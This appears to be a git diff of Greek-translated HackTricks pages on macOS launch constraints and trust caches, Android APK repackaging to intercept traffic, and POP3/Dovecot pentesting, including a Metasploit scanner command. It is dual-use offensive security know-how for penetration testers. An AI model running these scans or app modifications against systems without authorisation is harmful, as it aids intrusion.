### Αντιστροφή Κατηγοριών LC
Έχετε περισσότερες πληροφορίες [**εδώ**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), αλλά βασικά, ορίζονται στο **AMFI (AppleMobileFileIntegrity)**, οπότε πρέπει να κατεβάσετε το Kernel Development Kit για να πάρετε το **KEXT**. Τα σύμβολα που ξεκινούν με **`kConstraintCategory`** είναι τα **ενδιαφέροντα**. Αν τα εξάγετε, θα πάρετε έναν κωδικοποιημένο ροή DER (ASN.1) που θα πρέπει να αποκωδικοποιήσετε με το [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) ή τη βιβλιοθήκη python-asn1 και το σενάριο `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) που θα σας δώσει ένα πιο κατανοητό αλφαριθμητικό.
Έχετε περισσότερες πληροφορίες [**εδώ**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), αλλά βασικά, ορίζονται στο **AMFI (AppleMobileFileIntegrity)**, οπότε πρέπει να κατεβάσετε το Kernel Development Kit για να αποκτήσετε το **KEXT**. Τα σύμβολα που ξεκινούν με **`kConstraintCategory`** είναι τα **ενδιαφέροντα**. Εξάγοντας τα θα λάβετε ένα DER (ASN.1) κωδικοποιημένο ρεύμα που θα χρειαστεί να αποκωδικοποιήσετε με [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) ή τη βιβλιοθήκη python-asn1 και το σενάριο `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) που θα σας δώσει μια πιο κατανοητή συμβολοσειρά.
## Περιορισμοί Περιβάλλοντος
Αυτοί είναι οι περιορισμοί εκκίνησης που έχουν ρυθμιστεί σε **εφαρμογές τρίτων**. Ο προγραμματιστής μπορεί να επιλέξει τα **γεγονότα** και τους **λογικούς τελεστές** που θα χρησιμοποιηθούν στην εφαρμογή του για να περιορίσει την πρόσβαση σε αυτήν.
Αυτοί είναι οι Περιορισμοί Εκκίνησης που έχουν ρυθμιστεί σε **εφαρμογές τρίτων**. Ο προγραμματιστής μπορεί να επιλέξει τα **γεγονότα** και **λογικά τελεστές που θα χρησιμοποιήσει** στην εφαρμογή του για να περιορίσει την πρόσβαση σε αυτήν.
Είναι δυνατόν να απαριθμήσετε τους περιορισμούς περιβάλλοντος μιας εφαρμογής με:
Είναι δυνατόν να απαριθμήσετε τους Περιορισμούς Περιβάλλοντος μιας εφαρμογής με:
```bash
codesign -d -vvvv app.app
```
## Αποθήκες Εμπιστοσύνης
## Trust Caches
Στο **macOS** υπάρχουν μερικές αποθήκες εμπιστοσύνης:
Στο **macOS** υπάρχουν μερικές cache εμπιστοσύνης:
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
@ -63,14 +88,14 @@ codesign -d -vvvv app.app
Και στο iOS φαίνεται ότι βρίσκεται στο **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
{% hint style="warning" %}
Στο macOS που τρέχει σε συσκευές Apple Silicon, αν ένα υπογεγραμμένο από την Apple δυαδικό αρχείο δεν βρίσκεται στην αποθήκη εμπιστοσύνης, το AMFI θα αρνηθεί να το φορτώσει.
Στο macOS που τρέχει σε συσκευές Apple Silicon, αν ένα υπογεγραμμένο από την Apple δυαδικό αρχείο δεν είναι στην cache εμπιστοσύνης, το AMFI θα αρνηθεί να το φορτώσει.
{% endhint %}
### Απαρίθμηση Αποθηκών Εμπιστοσύνης
### Enumerating Trust Caches
Τα προηγούμενα αρχεία αποθήκης εμπιστοσύνης είναι σε μορφή **IMG4** και **IM4P**, με το IM4P να είναι η ενότητα φορτίου μιας μορφής IMG4.
Τα προηγούμενα αρχεία cache εμπιστοσύνης είναι σε μορφή **IMG4** και **IM4P**, με το IM4P να είναι η ενότητα payload μιας μορφής IMG4.
Μπορείτε να χρησιμοποιήσετε το [**pyimg4**](https://github.com/m1stadev/PyIMG4) για να εξαγάγετε το φορτίο των βάσεων δεδομένων:
Μπορείτε να χρησιμοποιήσετε [**pyimg4**](https://github.com/m1stadev/PyIMG4) για να εξάγετε το payload των βάσεων δεδομένων:
{% code overflow="wrap" %}
```bash
@ -90,9 +115,9 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
```
{% endcode %}
(Μια άλλη επιλογή θα μπορούσε να είναι η χρήση του εργαλείου [**img4tool**](https://github.com/tihmstar/img4tool), το οποίο θα λειτουργήσει ακόμα και στο M1 ακόμα κι αν η έκδοση είναι παλιά και για x86\_64 αν το εγκαταστήσετε στις κατάλληλες τοποθεσίες).
(Μια άλλη επιλογή θα μπορούσε να είναι η χρήση του εργαλείου [**img4tool**](https://github.com/tihmstar/img4tool), το οποίο θα λειτουργήσει ακόμη και σε M1, ακόμη και αν η έκδοση είναι παλιά και για x86\_64 αν το εγκαταστήσετε στις κατάλληλες τοποθεσίες).
Τώρα μπορείτε να χρησιμοποιήσετε το εργαλείο [**trustcache**](https://github.com/CRKatri/trustcache) για να λάβετε τις πληροφορίες σε μια αναγνώσιμη μορφή:
Τώρα μπορείτε να χρησιμοποιήσετε το εργαλείο [**trustcache**](https://github.com/CRKatri/trustcache) για να αποκτήσετε τις πληροφορίες σε αναγνώσιμη μορφή:
```bash
# Install
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
@ -116,7 +141,7 @@ entry count = 969
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
```
Η αποθήκη εμπιστοσύνης ακολουθεί την παρακάτω δομή, οπότε η **κατηγορία LC είναι η 4η στήλη**.
Η cache εμπιστοσύνης ακολουθεί την παρακάτω δομή, οπότε η **κατηγορία LC είναι η 4η στήλη**
```c
struct trust_cache_entry2 {
uint8_t cdhash[CS_CDHASH_LEN];
@ -126,43 +151,49 @@ uint8_t constraintCategory;
uint8_t reserved0;
} __attribute__((__packed__));
```
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε ένα σενάριο όπως [**αυτό**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) για να εξάγετε δεδομένα.
Then, you could use a script such as [**this one**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) to extract data.
Από αυτά τα δεδομένα μπορείτε να ελέγξετε τις εφαρμογές με μια **τιμή περιορισμού εκκίνησης `0`**, που είναι αυτές που δεν έχουν περιορισμούς ([**ελέγξτε εδώ**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) για τις τιμές κάθε εφαρμογής).
From that data you can check the Apps with a **launch constraints value of `0`**, which are the ones that aren't constrained ([**check here**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) for what each value is).
## Προστασία από επιθέσεις
## Attack Mitigations
Οι περιορισμοί εκκίνησης θα είχαν αντιμετωπίσει αρκετές παλαιές επιθέσεις, **διασφαλίζοντας ότι η διαδικασία δεν θα εκτελεστεί σε απροσδόκητες συνθήκες:** Για παράδειγμα από απροσδόκητες τοποθεσίες ή όταν καλείται από μη αναμενόμενη γονική διεργασία (αν μόνο το launchd θα έπρεπε να το εκκινήσει).
Οι περιορισμοί εκκίνησης θα είχαν μετριάσει αρκετές παλιές επιθέσεις διασφαλίζοντας ότι η διαδικασία δεν θα εκτελείται σε απροσδόκητες συνθήκες: Για παράδειγμα από απροσδόκητες τοποθεσίες ή να καλείται από μια απροσδόκητη γονική διαδικασία (αν μόνο το launchd θα έπρεπε να την εκκινεί).
Επιπλέον, οι περιορισμοί εκκίνησης αντιμετωπίζουν επίσης **επιθέσεις υποβάθμισης**.
Επιπλέον, οι περιορισμοί εκκίνησης επίσης **μετριάζουν τις επιθέσεις υποβάθμισης.**
Ωστόσο, δεν αντιμετωπίζουν κοινές καταχρήσεις XPC, ενσωματώσεις κώδικα Electron ή ενσωματώσεις dylib χωρίς επικύρωση βιβλιοθήκης (εκτός αν είναι γνωστά τα αναγνωριστικά ομάδας που μπορούν να φορτώσουν βιβλιοθήκες).
Ωστόσο, **δεν μετριάζουν τις κοινές καταχρήσεις XPC**, **Electron** εισβολές κώδικα ή **εισβολές dylib** χωρίς έλεγχο βιβλιοθήκης (εκτός αν είναι γνωστά τα IDs ομάδας που μπορούν να φορτώσουν βιβλιοθήκες).
### Προστασία XPC Daemon
### XPC Daemon Protection
Στην έκδοση Sonoma, ένα σημαντικό σημείο είναι η **διαμόρφωση της ευθύνης της υπηρεσίας XPC daemon**. Η υπηρεσία XPC είναι υπεύθυνη για τον εαυτό της, αντί να είναι υπεύθυνος ο συνδεόμενος πελάτης. Αυτό καταγράφεται στην αναφορά ανατροφοδότησης FB13206884. Αυτή η ρύθμιση μπορεί να φαίνεται ελαττωματική, καθώς επιτρέπει ορισμένες αλληλεπιδράσεις με την υπηρεσία XPC:
Στην έκδοση Sonoma, ένα αξιοσημείωτο σημείο είναι η **διαμόρφωση ευθύνης** της υπηρεσίας XPC daemon. Η υπηρεσία XPC είναι υπεύθυνη για τον εαυτό της, σε αντίθεση με τον συνδεδεμένο πελάτη που είναι υπεύθυνος. Αυτό καταγράφεται στην αναφορά ανατροφοδότησης FB13206884. Αυτή η ρύθμιση μπορεί να φαίνεται ελαττωματική, καθώς επιτρέπει ορισμένες αλληλεπιδράσεις με την υπηρεσία XPC:
- **Εκκίνηση της υπηρεσίας XPC**: Αν θεωρηθεί ως σφάλμα, αυτή η ρύθμιση δεν επιτρέπει την εκκίνηση της υπηρεσίας XPC μέσω κώδικα επιτιθέμενου.
- **Σύνδεση σε μια ενεργή υπηρεσία**: Αν η υπηρεσία XPC είναι ήδη εκτελούμενη (πιθανώς ενεργοποιημένη από την αρχική εφαρμογή της), δεν υπάρχουν εμπόδια για τη σύνδεση σε αυτήν.
- **Εκκίνηση της Υπηρεσίας XPC**: Αν θεωρηθεί σφάλμα, αυτή η ρύθμιση δεν επιτρέπει την εκκίνηση της υπηρεσίας XPC μέσω κώδικα επιτιθέμενου.
- **Σύνδεση σε Μια Ενεργή Υπηρεσία**: Αν η υπηρεσία XPC είναι ήδη σε λειτουργία (πιθανώς ενεργοποιημένη από την αρχική της εφαρμογή), δεν υπάρχουν εμπόδια για τη σύνδεση σε αυτήν.
Αν και η επιβολή περιορισμών στην υπηρεσία XPC μπορεί να είναι χρήσιμη με τον **περιορισμό του παραθύρου για πιθανές επιθέσεις**, δεν αντιμετωπίζει τον κύριο προβληματισμό. Η διασφάλιση της ασφάλειας της υπηρεσίας XPC απαιτεί ουσιαστικά **την αποτελεσματική επαλήθευση του συνδεόμενου πελάτη**. Αυτή παραμένει η μοναδική μέθοδος για την ενίσχυση της ασφάλειας της υπηρεσίας. Επίσης, αξίζει να σημειωθεί ότι η αναφερόμενη διαμόρφωση ευθύνης είναι προς το παρόν λειτουργική, πράγμα που μπορεί να μην συμφωνεί με τον αρχικό σχεδιασμό.
Ενώ η εφαρμογή περιορισμών στην υπηρεσία XPC μπορεί να είναι ωφέλιμη περιορίζοντας το παράθυρο για πιθανές επιθέσεις, δεν αντιμετωπίζει την κύρια ανησυχία. Η διασφάλιση της ασφάλειας της υπηρεσίας XPC απαιτεί θεμελιωδώς **έλεγχο του συνδεδεμένου πελάτη αποτελεσματικά**. Αυτή παραμένει η μοναδική μέθοδος για την ενίσχυση της ασφάλειας της υπηρεσίας. Επίσης, αξίζει να σημειωθεί ότι η αναφερόμενη διαμόρφωση ευθύνης είναι αυτή τη στιγμή λειτουργική, κάτι που μπορεί να μην ευθυγραμμίζεται με τον προγραμματισμένο σχεδιασμό.
### Προστασία Electron
### Electron Protection
Ακόμα κι αν απαιτείται η εφαρμογή να **ανοίγεται από την LaunchService** (στους περιορισμούς των γονικών διεργασιών). Αυτό μπορεί να επιτευχθεί χρησιμοποιώντας την εντολή **`open`** (η οποία μπορεί να ορίσει μεταβλητές περιβάλλοντος) ή χρησιμοποιώντας το **API της Launch Services** (όπου μπορούν να δηλωθούν μεταβλητές περιβάλλοντος).
Ακόμα και αν απαιτείται η εφαρμογή να **ανοίγεται από το LaunchService** (στους γονικούς περιορισμούς). Αυτό μπορεί να επιτευχθεί χρησιμοποιώντας **`open`** (το οποίο μπορεί να ρυθμίσει μεταβλητές περιβάλλοντος) ή χρησιμοποιώντας το **API Υπηρεσιών Εκκίνησης** (όπου μπορούν να υποδειχθούν μεταβλητές περιβάλλοντος).
## Αναφορές
## References
* [https://youtu.be/f1HA5QhLQ7Y?t=24146](https://youtu.be/f1HA5QhLQ7Y?t=24146)
* [https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/)
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στ
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
***
Ορισμένες εφαρμογές δεν δέχονται πιστοποιητικά που έχουν κατεβάσει οι χρήστες, οπότε για να επιθεωρήσουμε την κίνηση του ιστού για ορισμένες εφαρμογές, πρέπει στην πραγματικότητα να αποσυμπιέσουμε την εφαρμογή, να προσθέσουμε μερικά πράγματα και να την ξανασυμπιέσουμε.
Ορισμένες εφαρμογές δεν δέχονται πιστοποιητικά που έχουν κατεβάσει οι χρήστες, οπότε για να επιθεωρήσουμε την κίνηση ιστού για ορισμένες εφαρμογές, πρέπει στην πραγματικότητα να αποσυμπιέσουμε την εφαρμογή, να προσθέσουμε μερικά πράγματα και να την ξανασυμπιέσουμε.
# Automatic
@ -58,28 +58,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</base-config>
</network-security-config>
```
Τότε αποθηκεύστε το αρχείο & βγείτε από όλους τους καταλόγους & ξαναχτίστε το apk με την παρακάτω εντολή: `apktool b *folder-name/* -o *output-file.apk*`
Τότε αποθηκεύστε το αρχείο & βγείτε από όλους τους φακέλους & ξαναχτίστε το apk με την παρακάτω εντολή: `apktool b *folder-name/* -o *output-file.apk*`
![](../../.gitbook/assets/img12.png)
Τέλος, χρειάζεται απλώς να **υπογράψετε τη νέα εφαρμογή**. [Διαβάστε αυτή την ενότητα της σελίδας Smali - Decompiling/\[Modifying\]/Compiling για να μάθετε πώς να την υπογράψετε](smali-changes.md#sing-the-new-apk).
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
**Try Hard Security Group**
<summary>Support HackTricks</summary>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Μάθετε hacking AWS από το μηδέν έως τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή **να κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα hacking σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -99,7 +99,7 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
| **Ρύθμιση** | **Περιγραφή** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Ενεργοποιεί την καταγραφή όλων των σφαλμάτων αυθεντικοποίησης. |
| `auth_debug_passwords` | Αυτή η ρύθμιση προσαρμόζει την λεπτομέρεια των καταγραφών, οι υποβληθείσες κωδικοί και το σχήμα καταγράφονται. |
| `auth_debug_passwords` | Αυτή η ρύθμιση προσαρμόζει την λεπτομέρεια καταγραφής, οι υποβληθείσες κωδικοί και το σχήμα καταγράφονται. |
| `auth_verbose` | Καταγράφει τις αποτυχημένες προσπάθειες αυθεντικοποίησης και τους λόγους τους. |
| `auth_verbose_passwords` | Οι κωδικοί που χρησιμοποιούνται για την αυθεντικοποίηση καταγράφονται και μπορούν επίσης να περικοπούν. |
| `auth_anonymous_username` | Αυτή καθορίζει το όνομα χρήστη που θα χρησιμοποιηθεί κατά την είσοδο με τον μηχανισμό ANONYMOUS SASL. |
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε hacking AWS από το μηδέν μέχρι τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**Η Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα hacking σας υποβάλλοντας PRs στο** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **και** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# Εισαγωγή Cypher (neo4j)
# Cypher Injection (neo4j)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Ελέγξτε τα παρακάτω ιστολόγια:
Ελέγξτε τα παρακάτω blogs:
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,46 +1,49 @@
# PL/pgSQL Βίαιη Δοκιμή Κωδικού Πρόσβασης
# PL/pgSQL Password Bruteforce
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
